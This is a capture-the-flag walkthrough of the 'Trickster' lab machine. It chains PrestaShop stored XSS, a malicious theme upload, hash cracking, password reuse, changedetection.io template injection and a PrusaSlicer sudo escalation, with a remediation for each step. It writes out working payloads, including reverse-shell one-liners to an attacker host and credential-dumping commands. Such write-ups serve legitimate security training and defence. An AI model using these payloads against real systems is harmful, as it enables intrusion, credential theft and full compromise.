← all walkthroughs

Trickster

Linux· Medium· Web
owned
2026-09-05
time to own
58m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped the PrestaShop storefront at shop.trickster.htb and reached its randomized-but-guessable admin login over the open internet. A stored-XSS flaw in the public Contact Us form's file-attachment handling (CVE-2024-34716) hijacked an administrator's session when the crafted image was viewed, and that session was used to upload a malicious theme package containing a PHP reverse shell, yielding code execution as www-data. Database credentials read from the PrestaShop config file exposed a cracked employee password that was reused as the OS login for user james (capturing user.txt), and the same password was reused again to authenticate to an internal changedetection.io Docker container reachable only from the host.

A Jinja2 server-side template injection in that container's notification feature (CVE-2024-32651) gave root inside the container, whose backup archives leaked plaintext credentials for local user adam. Finally, an overly permissive sudo rule let adam run PrusaSlicer as root, and its post-processing-script feature (CVE-2023-47268) was abused to execute my own script as root, completing full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export USERNAME="<an-account-name-you-choose>"

Some commands also carry a value in angle brackets — <db_password>, <reused_password>, <token> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceAttack surface enumeration / exposed admin interface
Mapped services and found the PrestaShop admin login exposed to the internet
A port scan found only SSH and HTTP open. The web service resolved to a PrestaShop storefront on the virtual host shop.trickster.htb. Analysis of PrestaShop's public source confirmed the version-handling code paths and the randomized admin-controller directory naming convention, and a direct request confirmed the back-office login page was reachable from the internet at that path with no network-level access restriction.
Curl to admin634ewutrx1jgitlooaj/index.php?controller=AdminLogin returned the PrestaShop login page (HTTP 200).
Exact commands 3
shell

Full TCP port scan; only 22/tcp and 80/tcp are open.

$ nmap -sV -p- $TARGET
shell

Resolve the discovered virtual host locally.

$ echo "$TARGET trickster.htb shop.trickster.htb" | sudo tee -a /etc/hosts
shell

Confirm the PrestaShop back-office login is reachable.

$ curl -sS --max-time 15 -H 'Host: shop.trickster.htb' "http://$TARGET/admin634ewutrx1jgitlooaj/index.php?controller=AdminLogin"
FixRestrict access to the PrestaShop admin back officeMedium
WeaknessThe admin login page was reachable directly from the internet with no IP allowlisting, VPN, or additional authentication layer, giving an unauthorised user unrestricted probing and attack surface once any admin-side vulnerability was found.
FixPlace the /adminXXXX directory behind an IP allowlist or VPN, add HTTP basic auth or a client-certificate gate in front of it, and enable PrestaShop's built-in employee two-factor authentication.
2ExploitationCVE-2024-34716 — PrestaShop stored XSS via Contact Us attachment
Stole an administrator's session via stored XSS in the Contact Us attachment
PrestaShop 8.1.5's Contact Us form (CVE-2024-34716) fails to sanitize the uploaded attachment before it is rendered to staff reviewing the message in the back office. A PNG carrying an embedded JavaScript/SVG payload was submitted as the file attachment; when an administrator opened it in the back office, the script ran in their session and exfiltrated their session cookie/CSRF token to me.
Nine crafted attachments (trickster-xss.png … trickster-xss9.png) were iterated through /contact-us until one was accepted ("Your message has been successfully sent to our team").
Exact commands 3
shell

Fetch a fresh CSRF token per submission.

$ curl -sS --max-time 15 -c cookies.txt -H 'Host: shop.trickster.htb' http://$TARGET/contact-us -o contact.html
shell

Extract the token.

$ tok=$(grep -oP 'name="token" value="\K[^"]+' contact.html | head -n1)
shell

Submit the XSS-carrying attachment; PNG filename/magic bytes disguise the embedded script.

$ curl -sS -i --max-time 20 -b cookies.txt -c cookies.txt -H 'Host: shop.trickster.htb' -F 'id_contact=2' -F "from=$USERNAME@trickster.htb" -F 'message=Please review the attached product image.' -F 'url=' -F "token=$tok" -F 'submitMessage=Send' -F 'fileUpload=@xss-payload.png;filename=product.png' http://$TARGET/contact-us
FixPatch PrestaShop and sanitize contact-form attachments before displayCritical
WeaknessPrestaShop 8.1.5's Contact Us form (CVE-2024-34716) rendered externally supplied file attachments to administrators without sanitization, allowing a stored XSS payload to execute in an admin's session.
FixUpgrade PrestaShop to a version with the CVE-2024-34716 fix, strictly validate uploaded attachment content-type/magic-bytes server-side (not just extension), and serve attachments with a Content-Disposition: attachment header and a restrictive CSP so embedded scripts cannot execute.
3ExploitationMalicious theme upload leading to remote code execution (PrestaShop back office)
Used the hijacked admin session to upload a malicious theme and get code execution
With the stolen admin session and CSRF token, a theme package (zip) containing a PHP reverse-shell file was installed through the PrestaShop back-office theme importer. Requesting the planted file inside the newly installed theme directory executed it on the server, giving an interactive shell as the www-data web-server account.
Theme zip containing reverse_shell.php uploaded and triggered at /themes/next/reverse_shell.php.
Exact commands 4
shell

Serve the malicious theme zip for the exploit script to reference.

$ python3 -m http.server 80
shell

Listener for the reverse shell embedded in the theme.

$ nc -lvnp 9001
shell

Public CVE-2024-34716 PoC: drives the XSS->admin-session->theme-upload chain end to end.

$ python3 exploit.py http://shop.trickster.htb $USERNAME@trickster.htb 'Please review the attached product image.' exploit.html
shell

Trigger the planted PHP shell; catch the connection on the nc listener.

$ curl -sS -H 'Host: shop.trickster.htb' http://$TARGET/themes/next/reverse_shell.php
FixRestrict and validate theme installation in the back officeCritical
WeaknessThe back-office theme importer accepted an uploaded zip archive containing an executable PHP file and deployed it into a web-served directory, letting a compromised admin session turn into full remote code execution.
FixLimit theme installation to trusted, digitally-signed packages; scan uploaded theme archives for executable/script files before extraction; and disable PHP execution in the themes directory via web-server configuration (e.g., disable_functions / php_admin_flag engine off for that path).
4Credential AccessCredential harvesting from application config + offline hash cracking (T1552.001, T1110.002)
Harvested and cracked the shop's database credentials to obtain a valid OS password
As www-data, PrestaShop's config file disclosed the MySQL credentials for the shop's own database. Connecting to MySQL and dumping the ps_employee table exposed a bcrypt password hash for an employee account; the hash was cracked offline, and the recovered plaintext password matched the password for the Linux account james, revealing password reuse between the web application and the operating system.
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) ... Cracked in 5s with john; SSH as james returned uid=1000(james).
Exact commands 4
shell

From the www-data shell, read DB creds out of PrestaShop's config.

$ grep -E "define\('_DB_(SERVER|NAME|USER|PASSWD)_" /var/www/prestashop/config/config.inc.php /var/www/prestashop/app/config/parameters.php
shell

Dump employee accounts and bcrypt hashes.

$ mysql -h 127.0.0.1 -u ps_user -p'<db_password>' ps -e "SELECT firstname,lastname,email,passwd FROM ps_employee;"
shell

Crack the bcrypt hash (equivalently: hashcat -m 3200 hash.txt rockyou.txt).

$ john --format=bcrypt --wordlist=rockyou.txt ps_employee_hashes.txt
shell

Authenticate with the cracked password — reused as james's OS login.

$ ssh james@$TARGET
FixStop credential and password reuse between the application, database, and OS accountsHigh
WeaknessThe PrestaShop employee password was weak enough to crack quickly offline, and the same password was reused for the OS-level james SSH account (and later for the changedetection.io web login), letting one cracked hash cascade into two more compromised accounts.
FixEnforce a strong, unique password policy across web application, database, and OS accounts (no shared passwords), store application secrets outside of web-readable config files or in a secrets manager, and enable SSH key-only authentication to remove password-based SSH entirely.
5FootholdValid Accounts (T1078) — SSH logon with reused credentials
Confirmed the james foothold and captured user.txt
The SSH session landed as the low-privilege james account with no sudo, docker, or lxd group membership. Access was proven from the target before reading the flag.
Uid=1000(james) gid=1000(james) groups=1000(james); user.txt read from /home/james/user.txt (33 bytes).
Exact commands 2
shell

Prove the foothold: uid=1000(james), no privileged groups.

$ id
uid=1000(james) gid=1000(james) groups=1000(james)
shell

Read the flag; replace with <user.txt> when reporting.

$ cat /home/james/user.txt
6Lateral MovementCVE-2024-32651 — changedetection.io Jinja2 Server-Side Template Injection
Reused the cracked password against an internal Docker container and exploited an SSTI to get root inside it
The host runs a docker0 bridge with a changedetection.io instance listening only on the internal $INTERNAL_HOST:5000, unreachable from outside. The same cracked password authenticated to changedetection.io's web login (password reuse again). Once authenticated, the Notification Body field is rendered as a Jinja2 template server-side (CVE-2024-32651); a template payload using Python's __builtins__ import chain executed arbitrary OS commands, and a reverse-shell payload delivered a root shell inside the container.
POST /login with defaultuser@changedetection.io returned 302 with remember_token issued; /settings exposed /notification/send-test/?mode=global-settings with a live CSRF token; $INTERNAL_HOST:5000 confirmed reachable only via the docker0 bridge.
Exact commands 4
shell

Tunnel the internal container port through the james SSH session.

$ ssh -L 5000:$INTERNAL_HOST:5000 james@$TARGET
shell

Authenticate to changedetection.io with the reused password.

$ curl -sS -i -c cd.cookies -d 'email=defaultuser@changedetection.io&password=<reused_password>' http://127.0.0.1:5000/login
shell

Grab a live CSRF token.

$ curl -sS -b cd.cookies http://127.0.0.1:5000/settings
shell

Trigger the Jinja2 SSTI to run a reverse shell as root inside the container; start nc -lvnp 4444 first.

$ curl -sS -b cd.cookies -X POST http://127.0.0.1:5000/notification/send-test/?mode=global-settings --data-urlencode 'csrf_token=<token>' --data-urlencode "notification_urls=get://$ATTACKER_IP:80" --data-urlencode "notification_body={{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"').read() }}" --data-urlencode 'notification_title=test'
FixPatch changedetection.io and remove template-injection exposure in notificationsCritical
WeaknessThe internal changedetection.io container ran a version vulnerable to CVE-2024-32651: its Notification Body field is rendered server-side as a Jinja2 template with access to Python builtins, allowing arbitrary command execution once authenticated.
FixUpgrade changedetection.io to a patched release, run notification template rendering in a sandboxed Jinja2 environment (e.g., immutable sandbox with builtins disabled), and do not expose internal management tools to any account whose credentials are shared with other systems.
7Credential AccessSensitive data exposure in application backup exports (T1552.001)
Recovered adam's credentials from a ChangeDetection backup in the container datastore
The ChangeDetection container keeps its backups under /datastore/Backups. They are ordinary ZIP archives named for the moment they were taken, and one of them holds a rendered parameters.php from the shop. That file is written with its values filled in rather than as a template, so it carries the database and application credentials in the clear — including a password reused by the local user adam. Pulling the archive out of the container and reading that file gave a credential that worked directly against the host account.
/datastore/Backups held ZIP archives including changedetection-backup-20240830202524.zip; a rendered parameters.php inside the backup carried credentials reused by the adam account, which then authenticated on the host.
Exact commands 3
shell

ZIP archives named by timestamp, one per backup the container has taken.

$ ls -la /datastore/Backups/
shell

Unpack in the container; the archive name carries the date it was written.

$ unzip -o /datastore/Backups/changedetection-backup-*.zip -d /tmp/cdbackup
shell

The rendered config keeps its values rather than placeholders.

$ grep -rIn "password\|_DB_\|parameters" /tmp/cdbackup --include="parameters.php"
FixDo not store plaintext credentials in backup or configuration exportsHigh
WeaknessA backup archive inside the container held a rendered configuration file (parameters.php) containing a plaintext password for the local user adam, so anyone who obtained the backup inherited another account.
FixExclude rendered/exported config files containing secrets from backup archives, or encrypt backup archives at rest; reference secrets via environment variables or a secrets manager instead of writing them into files that get backed up or exported.
8Privilege EscalationCVE-2023-47268 — PrusaSlicer post-processing script execution as the invoking user, combined with sudo GTFOBins-style misuse
Abused a NOPASSWD sudo rule for PrusaSlicer to run a post-processing script as root
Adam could run /opt/PrusaSlicer/prusaslicer as root via sudo with no password. PrusaSlicer's slicing profile supports a 'post-processing script' path that is executed after slicing completes (CVE-2023-47268); by editing a valid .3mf project's embedded config to point the post-processing script at a reverse-shell one-liner and slicing it under sudo, arbitrary code ran as root.
Exact commands 8
shell

Confirm the NOPASSWD rule for prusaslicer.

$ sudo -l
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
shell

Produce a baseline valid .3mf project to modify (path/model depends on install).

$ /opt/PrusaSlicer/prusaslicer --export-3mf /dev/shm/model.3mf --slice /usr/share/PrusaSlicer/resources/...
shell

Unpack the .3mf archive to inject the malicious post-processing script line.

$ unzip /dev/shm/model.3mf -d /dev/shm/model_extracted
shell

Add the post-processing command that runs as root when sliced.

$ echo 'post_process = bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/443 0>&1"' >> /dev/shm/model_extracted/Metadata/Slic3r_PE.config
shell

Repackage the modified project.

$ cd /dev/shm/model_extracted && zip -r /dev/shm/evil.3mf . && cd -
shell

Start the listener before triggering.

$ nc -lvnp 443
shell

Slice the project as root; the post-processing script runs, yielding a root shell.

$ sudo /opt/PrusaSlicer/prusaslicer -s /dev/shm/evil.3mf
shell

Prove uid=0 before reading the flag; replace with <root.txt> when reporting.

$ id && cat /root/root.txt
FixRemove the NOPASSWD sudo rule for PrusaSlicer and patch the post-processing featureCritical
Weaknessadam could run PrusaSlicer as root via sudo with no password, and PrusaSlicer's post-processing-script feature (CVE-2023-47268) executes an arbitrary externally controlled command embedded in a slicing project, turning that sudo rule into direct root code execution.
FixRemove the blanket NOPASSWD sudo entry for prusaslicer (or restrict it to a wrapper script that strips the post-processing-script option); upgrade PrusaSlicer past the CVE-2023-47268 fix; and never grant sudo on any tool that executes user-supplied scripts or plugins.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp